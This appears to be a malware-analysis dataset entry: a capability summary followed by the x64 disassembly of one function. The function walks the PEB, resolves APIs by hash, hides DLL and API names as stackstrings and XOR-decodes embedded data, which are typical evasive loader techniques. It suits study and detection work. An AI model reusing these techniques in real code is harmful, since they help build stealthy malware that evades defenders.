Function at 0x14000108c
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe8
xor r10d, r10d
mov dword [rbp - 0x79], 0x6376736d
xor eax, eax
mov dword [rbp - 0x75], 0x642e7472
mov word [rbp - 0x12], ax
xorps xmm0, xmm0
mov word [rbp + 0xd], ax
mov byte [rbp + 0xf], al
mov word [rbp - 0x71], 0x6c6c
mov byte [rbp - 0x6f], r10b
mov dword [rbp - 0x49], 0x74726375
mov dword [rbp - 0x45], 0x65736162
mov dword [rbp - 0x41], 0x6c6c642e
mov byte [rbp - 0x3d], r10b
mov dword [rbp - 0x69], 0x5f327377
mov dword [rbp - 0x65], 0x642e3233
mov word [rbp - 0x61], 0x6c6c
mov byte [rbp - 0x5f], r10b
mov dword [rsp + 0x40], 0x33656c6f
mov dword [rsp + 0x44], 0x6c642e32
mov word [rsp + 0x48], 0x6c
mov dword [rbp - 0x39], 0x61656c6f
mov dword [rbp - 0x35], 0x32337475
mov dword [rbp - 0x31], 0x6c6c642e
mov byte [rbp - 0x2d], r10b
mov dword [rbp - 0x59], 0x6f63736d
mov dword [rbp - 0x55], 0x2e656572
mov dword [rbp - 0x51], 0x6c6c64
mov dword [rbp - 0x29], 0x49534c43
mov word [rbp - 0x25], 0x4644
mov byte [rbp - 0x23], 0x72
movups xmmword [rbp - 0x22], xmm0
mov dword [rsp + 0x20], 0x74536d6f
mov dword [rsp + 0x24], 0x676e6972
mov byte [rsp + 0x28], r10b
mov dword [rbp - 9], 0x6e496f43
mov word [rbp - 5], 0x7469
movups xmmword [rbp - 3], xmm0
mov dword [rsp + 0x30], 0x696c6169
mov dword [rsp + 0x34], 0x7845657a
mov byte [rsp + 0x38], r10b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x20]
jmp 0x1400011bb
mov rax, qword [r8 + 0x50]
cmp word [rax + 0x18], r10w
je 0x1400012e0
mov r8, qword [r8]
test r8, r8
jne 0x1400011a9
mov r8, qword [rbp + 0x67]
movsxd rax, dword [r8 + 0x3c]
mov edx, r10d
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
mov ecx, dword [r9 + 0x20]
add rcx, r8
cmp dword [r9 + 0x18], r10d
jbe 0x14000120b
mov eax, dword [rcx]
cmp byte [rax + r8], 0x47
jne 0x1400011ff
cmp byte [rax + r8 + 0xd], 0x73
jne 0x1400011ff
cmp byte [rax + r8 + 0xe], r10b
je 0x1400012e9
inc edx
add rcx, 4
cmp edx, dword [r9 + 0x18]
jb 0x1400011e3
mov r15, qword [rbp + 0x67]
mov edx, 0x71d2c76
mov rcx, r8
call section..text
mov rdi, rax
lea rcx, [rbp - 0x79]
call rdi
lea rcx, [rbp - 0x69]
mov rsi, rax
call rdi
lea rcx, [rbp - 0x49]
call rdi
lea rcx, [rsp + 0x40]
mov rbx, rax
call rdi
lea rcx, [rbp - 0x39]
mov r14, rax
call rdi
lea rcx, [rbp - 0x59]
call rdi
mov edx, 0x55aa878
mov rcx, rbx
mov rdi, rax
call section..text
mov edx, 0x14b4b6d8
mov rcx, rbx
mov r12, rax
call section..text
mov edx, 0xa1f571a6
mov qword [rbp + 0x7f], rax
mov rcx, rsi
call section..text
mov edx, 0x14b49011
mov qword [rbp + 0x77], rax
mov rcx, rsi
call section..text
mov rbx, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x29]
call rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 9]
call rbx
mov edx, 0x5ecdf66a
mov rcx, rdi
call section..text
lea rdx, [rbp - 0x29]
mov rcx, r14
mov r13, rax
call r15
lea rdx, [rbp - 9]
mov rcx, r14
call r15
call fcn.1400013b0
or ecx, 0xffffffff
mov word [rbp + 0x67], 0x6425
mov byte [rbp + 0x69], 0
jmp 0x14000130c
mov r8, qword [r8 + 0x20]
jmp 0x1400011c4
mov eax, dword [r9 + 0x24]
add rax, r8
mov ecx, edx
movzx edx, word [rax + rcx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov r15d, dword [rcx + rdx*4]
add r15, r8
jmp 0x14000120f
inc rax
cmp dword [rax], ecx
jne 0x140001309
lea rdi, [rax + 4]
movzx r8d, word [rdi + 1]
lea rdx, [rbp + 0x67]
mov r14b, byte [rdi]
lea rcx, [rbp + 0x6f]
call qword [rbp + 0x77]
lea rsi, [rdi + 3]
mov rcx, rsi
call qword [rbp + 0x7f]
mov rbx, rax
lea rcx, [rax + 1]
call r12
test rbx, rbx
je 0x14000135a
mov rdx, rax
sub rsi, rax
mov r8, rbx
mov cl, r14b
xor cl, byte [rsi + rdx]
mov byte [rdx], cl
inc rdx
sub r8, 1
jne 0x140001349
lea ecx, [rbx + 4]
mov byte [rbx + rax], 0
movsxd rax, ecx
add ecx, 2
movzx edx, word [rax + rdi]
test r13, r13
jne 0x140001372
add ecx, edx
movsxd rbx, ecx
mov rcx, rdx
add rbx, rdi
mov rdi, rdx
call r12
test rdi, rdi
je 0x14000139a
sub rbx, rax
mov cl, r14b
xor cl, byte [rbx + rax]
mov byte [rax], cl
inc rax
sub rdi, 1
jne 0x140001389
add rsp, 0xe8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret